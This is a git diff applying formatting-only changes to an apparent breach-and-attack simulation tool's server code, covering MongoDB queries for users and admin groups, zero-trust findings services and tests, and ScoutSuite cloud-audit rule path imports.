"machine_id":entity["machine_id"]}, entity, - upsert=True + {"SID": entity["SID"], "machine_id": entity["machine_id"]}, entity, upsert=True ) else: # Handlings for domain entities. - if not mongo.db.groupsandusers.find_one({"SID":entity["SID"]}): + if not mongo.db.groupsandusers.find_one({"SID": entity["SID"]}): mongo.db.groupsandusers.insert_one(entity) else: # if entity is domain entity, add the monkey id of current machine to @@ -154,32 +153,31 @@ def insert_info_to_mongo(self): # (found on this machine) if entity.get("NTLM_secret"): mongo.db.groupsandusers.update_one( - {"SID":entity["SID"], "type":USERTYPE}, - {"$addToSet":{"secret_location":self.monkey_id}}, + {"SID": entity["SID"], "type": USERTYPE}, + {"$addToSet": {"secret_location": self.monkey_id}}, ) def update_admins_retrospective(self): for profile in self.info_for_mongo: groups_from_mongo = mongo.db.groupsandusers.find( - {"SID":{"$in":self.info_for_mongo[profile]["member_of"]}}, - {"admin_on_machines":1}, + {"SID": {"$in": self.info_for_mongo[profile]["member_of"]}}, + {"admin_on_machines": 1}, ) for group in groups_from_mongo: if group["admin_on_machines"]: mongo.db.groupsandusers.update_one( - {"SID":self.info_for_mongo[profile]["SID"]}, - {"$addToSet":{ - "admin_on_machines":{"$each":group["admin_on_machines"]}}}, + {"SID": self.info_for_mongo[profile]["SID"]}, + {"$addToSet": {"admin_on_machines": {"$each": group["admin_on_machines"]}}}, ) def add_admin(self, group, machine_id): for sid in group["entities_list"]: mongo.db.groupsandusers.update_one( - {"SID":sid}, {"$addToSet":{"admin_on_machines":machine_id}} + {"SID": sid}, {"$addToSet": {"admin_on_machines": machine_id}} ) entity_details = mongo.db.groupsandusers.find_one( - {"SID":sid}, {"type":USERTYPE, "entities_list":1} + {"SID": sid}, {"type": USERTYPE, "entities_list": 1} ) if entity_details.get("type") == GROUPTYPE: self.add_admin(entity_details, machine_id) diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py index 9c379989d5f..8b4c7d97eb2 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py @@ -14,21 +14,21 @@ class MonkeyZTDetailsService: @staticmethod def fetch_details_for_display(finding_id: ObjectId) -> dict: pipeline = [ - {"$match":{"_id":finding_id}}, + {"$match": {"_id": finding_id}}, { - "$addFields":{ - "oldest_events":{"$slice":["$events", int(MAX_EVENT_FETCH_CNT / 2)]}, - "latest_events":{"$slice":["$events", int(-1 * MAX_EVENT_FETCH_CNT / 2)]}, - "event_count":{"$size":"$events"}, + "$addFields": { + "oldest_events": {"$slice": ["$events", int(MAX_EVENT_FETCH_CNT / 2)]}, + "latest_events": {"$slice": ["$events", int(-1 * MAX_EVENT_FETCH_CNT / 2)]}, + "event_count": {"$size": "$events"}, } }, - {"$unset":["events"]}, + {"$unset": ["events"]}, ] detail_list = list(MonkeyFindingDetails.objects.aggregate(*pipeline)) if detail_list: details = detail_list[0] details["latest_events"] = MonkeyZTDetailsService._remove_redundant_events( - details["event_count"], details["latest_events"] + details["event_count"], details["latest_events"] ) return details else: @@ -36,7 +36,7 @@ def fetch_details_for_display(finding_id: ObjectId) -> dict: @staticmethod def _remove_redundant_events( - fetched_event_count: int, latest_events: List[object] + fetched_event_count: int, latest_events: List[object] ) -> List[object]: overlap_count = fetched_event_count - int(MAX_EVENT_FETCH_CNT / 2) # None of 'latest_events' are in 'oldest_events' @@ -48,4 +48,4 @@ def _remove_redundant_events( # Some of 'latest_events' are already in 'oldest_events'. # Return only those that are not else: - return latest_events[-1 * overlap_count:] + return latest_events[-1 * overlap_count :] diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py index ba71e42b36f..6c8063eca2b 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py @@ -22,7 +22,7 @@ def create_or_add_to_existing(test: str, status: str, events: List[Event]): """ existing_findings = list(MonkeyFinding.objects(test=test, status=status)) assert len(existing_findings) < 2, "More than one finding exists for {}:{}".format( - test, status + test, status ) if len(existing_findings) == 0: @@ -46,17 +46,17 @@ def add_events(finding: MonkeyFinding, events: List[Event]): def get_events_by_finding(finding_id: str) -> List[object]: finding = MonkeyFinding.objects.get(id=finding_id) pipeline = [ - {"$match":{"_id":ObjectId(finding.details.id)}}, - {"$unwind":"$events"}, - {"$project":{"events":"$events"}}, - {"$replaceRoot":{"newRoot":"$events"}}, + {"$match": {"_id": ObjectId(finding.details.id)}}, + {"$unwind": "$events"}, + {"$project": {"events": "$events"}}, + {"$replaceRoot": {"newRoot": "$events"}}, ] return list(MonkeyFindingDetails.objects.aggregate(*pipeline)) @staticmethod def add_malicious_activity_to_timeline(events): MonkeyZTFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE, - status=zero_trust_consts.STATUS_VERIFY, - events=events, + test=zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE, + status=zero_trust_consts.STATUS_VERIFY, + events=events, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py index 7ff54c57fbd..b92a52ae1b3 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py @@ -13,17 +13,17 @@ EVENTS = [ Event.create_event( - title="Process list", - message="Monkey on gc-pc-244 scanned the process list", - event_type="monkey_local", - timestamp=datetime.strptime("2021-01-19 12:07:17.802138", "%Y-%m-%d %H:%M:%S.%f"), + title="Process list", + message="Monkey on gc-pc-244 scanned the process list", + event_type="monkey_local", + timestamp=datetime.strptime("2021-01-19 12:07:17.802138", "%Y-%m-%d %H:%M:%S.%f"), ), Event.create_event( - title="Communicate as new user", - message="Monkey on gc-pc-244 couldn't communicate as new user. " - "Details: System error 5 has occurred. Access is denied.", - event_type="monkey_network", - timestamp=datetime.strptime("2021-01-19 12:22:42.246020", "%Y-%m-%d %H:%M:%S.%f"), + title="Communicate as new user", + message="Monkey on gc-pc-244 couldn't communicate as new user. " + "Details: System error 5 has occurred. Access is denied.", + event_type="monkey_network", + timestamp=datetime.strptime("2021-01-19 12:22:42.246020", "%Y-%m-%d %H:%M:%S.%f"), ), ] @@ -44,7 +44,7 @@ class TestMonkeyZTFindingService: def test_create_or_add_to_existing_creation(self): # Create new finding MonkeyZTFindingService.create_or_add_to_existing( - test=TESTS[0], status=STATUS[0], events=[EVENTS[0]] + test=TESTS[0], status=STATUS[0], events=[EVENTS[0]] ) # Assert that it was properly created findings = list(Finding.objects()) @@ -59,14 +59,14 @@ def test_create_or_add_to_existing_creation(self): def test_create_or_add_to_existing_addition(self): # Create new finding MonkeyZTFindingService.create_or_add_to_existing( - test=TESTS[0], status=STATUS[0], events=[EVENTS[0]] + test=TESTS[0], status=STATUS[0], events=[EVENTS[0]] ) # Assert that there's only one finding assert len(Finding.objects()) == 1 # Add events to an existing finding MonkeyZTFindingService.create_or_add_to_existing( - test=TESTS[0], status=STATUS[0], events=[EVENTS[1]] + test=TESTS[0], status=STATUS[0], events=[EVENTS[1]] ) # Assert there's still only one finding, only events got appended assert len(Finding.objects()) == 1 @@ -74,7 +74,7 @@ def test_create_or_add_to_existing_addition(self): # Create new finding MonkeyZTFindingService.create_or_add_to_existing( - test=TESTS[1], status=STATUS[1], events=[EVENTS[1]] + test=TESTS[1], status=STATUS[1], events=[EVENTS[1]] ) # Assert there was a new finding created, because test and status is different assert len(MonkeyFinding.objects()) == 2 diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py index 37c3b47fdd7..134ed35008d 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py @@ -2,8 +2,7 @@ from common.utils.code_utils import get_value_from_dict from common.utils.exceptions import RulePathCreatorNotFound -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .rule_path_creators_list import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators_list import ( RULE_PATH_CREATORS_LIST, ) @@ -36,6 +35,6 @@ def _get_rule_path_creator(rule_name: Enum): return RULE_TO_RULE_PATH_CREATOR_HASHMAP[rule_name] except KeyError: raise RulePathCreatorNotFound( - f"Rule path creator not found for rule {rule_name.value}. Make sure to assign" - f"this rule to any rule path creators." + f"Rule path creator not found for rule {rule_name.value}. Make sure to assign" + f"this rule to any rule path creators." ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py index d9c3e9491e7..3bff52d22ce 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py @@ -2,8 +2,7 @@ CloudformationRules, ) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py index ef8d31975e5..04ef53e7790 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py @@ -2,8 +2,7 @@ CloudTrailRules, ) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py index fc88ef7c498..93f4cfe43ca 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py @@ -2,8 +2,7 @@ CloudWatchRules, ) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py index bce1d765dd9..21e9af9a17a 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py @@ -2,8 +2,7 @@ ConfigRules, ) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py index d1145559f5d..3b0c4c28f84 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py @@ -1,7 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py index 56483eacae5..760ee73312e 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py @@ -1,7 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elb_rules import ELBRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py index 9fbb85f4549..e28cde14079 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py @@ -1,7 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elbv2_rules import ELBv2Rules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py index 52c7e7ac85a..03e3c609f49 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py @@ -1,7 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.iam_rules import IAMRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py index 1486acc7afe..f166cbab683 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py @@ -1,7 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rds_rules import RDSRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py index 8d72c994561..b365fba9dfb 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py @@ -2,8 +2,7 @@ RedshiftRules, ) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py index bf2fc109da2..a0150bc7073 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py @@ -1,7 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.s3_rules import S3Rules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py index 96c23a8ec6d..9f7eda6930c 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py @@ -1,7 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ses_rules import SESRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py index a55a024e043..49c55a5fac1 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py @@ -1,7 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sns_rules import SNSRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py index fd634221fe3..6aef420d38b 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py @@ -1,7 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sqs_rules import SQSRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py index cc30083ebd7..77e37d0bb30 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py @@ -1,7 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.vpc_rules import VPCRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py index 44183918215..8ad561ecefd 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py @@ -1,61 +1,46 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .rule_path_creators.cloudformation_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudformation_rule_path_creator import ( CloudformationRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .rule_path_creators.cloudtrail_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudtrail_rule_path_creator import ( CloudTrailRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .rule_path_creators.cloudwatch_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudwatch_rule_path_creator import ( CloudWatchRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .rule_path_creators.config_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.config_rule_path_creator import ( ConfigRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .rule_path_creators.ec2_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.ec2_rule_path_creator import ( EC2RulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .rule_path_creators.elb_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.elb_rule_path_creator import ( ELBRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .rule_path_creators.elbv2_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.elbv2_rule_path_creator import ( ELBv2RulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .rule_path_creators.iam_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.iam_rule_path_creator import ( IAMRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .rule_path_creators.rds_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.rds_rule_path_creator import ( RDSRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .rule_path_creators.redshift_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.redshift_rule_path_creator import ( RedshiftRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .rule_path_creators.s3_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.s3_rule_path_creator import ( S3RulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .rule_path_creators.ses_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.ses_rule_path_creator import ( SESRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .rule_path_creators.sns_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.sns_rule_path_creator import ( SNSRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .rule_path_creators.sqs_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.sqs_rule_path_creator import ( SQSRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building\ - .rule_path_creators.vpc_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.vpc_rule_path_creator import ( VPCRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py index c7e18e2185c..daaabf43012 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py @@ -16,23 +16,23 @@ class ExampleRules(Enum): ALL_PORTS_OPEN = EC2Rules.SECURITY_GROUP_ALL_PORTS_TO_ALL EXPECTED_RESULT = { - "description":"Security Group Opens All Ports to All", - "path":"ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id" - ".cidrs.id.CIDR", - "level":"danger", - "display_path":"ec2.regions.id.vpcs.id.security_groups.id", - "items":[ + "description": "Security Group Opens All Ports to All", + "path": "ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id" + ".cidrs.id.CIDR", + "level": "danger", + "display_path": "ec2.regions.id.vpcs.id.security_groups.id", + "items": 